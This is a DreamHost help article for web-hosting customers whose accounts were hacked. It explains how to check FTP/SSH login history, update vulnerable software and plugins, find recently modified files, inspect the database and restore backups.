Troubleshooting Hacked Sites
From DreamHost
Contents |
My Account Has Been Hacked - What Do I Do?
The first step in getting things back to normal is to determine how the account was hacked. In general, almost all hacks occur through two methods:
- A CGI vulnerability in software you've uploaded to your website has been exploited and used to write/execute arbitrary code on the server.
- Your FTP/SSH password has been compromised.
Perhaps counter-intuitively, CGI hacks are more common than FTP/SSH password hacks primarily due to the sheer proliferation of pre-bundled software that people set up and frequently later forget to update. FTP/SSH hacks are the easiest to check up on, though.
Determining the Hack Method
Looking for FTP/SSH Hacks
Since recent FTP/SSH hacks are easiest to spot, start eliminating there. Log into your user via SSH and run the following command:
last -i | grep youruser last -if /var/log/wtmp.1 | grep youruser
The first command will give you your login history for the current month, while the second will give you your login history for the prior month. Note that the usernames printed by "last" truncate after 8 characters, so if you have a longer username you'll want to truncate yours in the grep string as well.
The output will look something like this:
youruser pts/4 99.139.XXX.XXX Wed May 28 06:10 - 07:11 (01:00) youruser pts/5 66.33.XXX.XXX Sun May 25 09:31 - 12:14 (02:42) youruser ftpd30715 66.33.XXX.XXX Wed May 21 14:16 - 14:16 (00:00) youruser pts/2 66.33.XXX.XXX Tue May 20 13:22 - 14:18 (00:56) youruser pts/2 66.33.XXX.XXX Tue May 20 13:06 - 13:22 (00:15)
You can simplify this data to print out only IP addresses and counts by adding pipes to a few simple commands:
last -if /var/log/wtmp.1 | grep youruser | awk '{print $3}' | sort | uniq -c
The output will look more like this:
4 66.33.XXX.XXX
1 99.139.XXX.XXX
You may find either method useful for determining who has logged into your FTP/SSH user. Note that the wtmp logs only go back at most 1-2 months, so if the hack is older than that we won't have records of it.
If you've determined FTP/SSH to be the source of the hack, you should:
- Change your password via "Users" -> "Manage Users" -> "Edit" in the DreamHost control panel.
- It is strongly recommended that you discontinue use of FTP which sends your password over the internet in plaintext; switch to SFTP or SSH. You can disable FTP for the account in the control panel on the same page that you changed your password.
- Ensure there is up-to-date virus/malware scanning on any computers on which you've used the password/user in question.
Once you've done so, please proceed to the "Cleaning Up After A Hack" section. Otherwise, if you didn't find any strange IPs in the logs, proceed directly below to "Looking For CGI Hacks".
Looking For CGI Hacks
The first thing you'll want to do is go through any pre-packaged software under your domain and make sure that it is up-to-date with the most recent version offered by the vendor. "Pre-packaged software" effectively means any software package that you've placed in your domain directory such as a blog, gallery, forum, shopping cart, content management system, etc. Out-of-date versions of such softwares frequently have well-known security holes that can be exploited via simple scripts that are bandied about freely amongst "hacker" and "script-kiddie" groups.
Don't overlook plugins when updating software -- if you have any non-standard plugins activated for your applications try a search engine query for the plugin name + "vulnerability" to see if anything crops up in the version you're using. If there are known vulnerabilities for the plugin in the version you're using make sure to apply any available patches, otherwise deactivate the plugin.
Once you've updated any software, proceed to "Cleaning Up After A Hack".
Cleaning Up After A Hack
Hacked File Removal
Regardless of the mode of intrusion you'll want to clean up after a hack to ensure the integrity of your site and that it cannot be compromised again. To do this you will need to go through all of the files under the compromised user account and delete anything which you did not place there. If you're using an FTP client make sure to enable viewing "hidden" files, and the same goes for the shell and using the -a option with ls.
While we recommend going through ALL files, it can sometimes help to first look for files with modification timestamps that occurred since you last modified your site or around the time the hack took place. If you have identified a file that was definitely modified in the hack (such as a defaced index page) you may be able to pinpoint the files used to modify the hacked file by searching for the file's timestamp in your HTTP logs via the shell.
A useful command for doing this is:
find /home/yourusername/www.yourwebsite.com/ ! -name "log" -mtime -3
where the "-3" is the number of days in the past to look for modified files This command will list all files under /home/user/website.com that have been modified in the past 3 days.
Recent HTTP logs are located in the following directory:
/home/yourusername/logs/yourdomain.com/http/
Database Hacks
Certain hacks, particularly SQL injection attacks against vulnerable Joomla! installations, may result in the database being altered with malicious code. Such a modification can allow the hacker back in even if you've updated to the latest version and cleaned off all foreign files. For this reason it's a good idea after a hack to inspect the database in the same way you check your files to see if anything has been changed that should not be. If you know when the hack occurred you may even wish to revert the database back to a prior time via the backup feature available in the panel:
"Goodies" -> "Manage MySQL" -> click "Restore DB" next to the database in question.
Restoring Lost/Modified files
Finally, to restore files that have been modified or deleted in the hack please see the article on Snapshot_data_restoration. We also offer full database and domain restores from the web panel, on the Manage Domains and Manage Mysql pages. The sooner you get to them the better, as for example we only keep mysql backups for a few days. For future reference, you may use our full account backup (under Home/Backup Your Account) feature once a month to keep your data locally, as we don't guarantee backups.
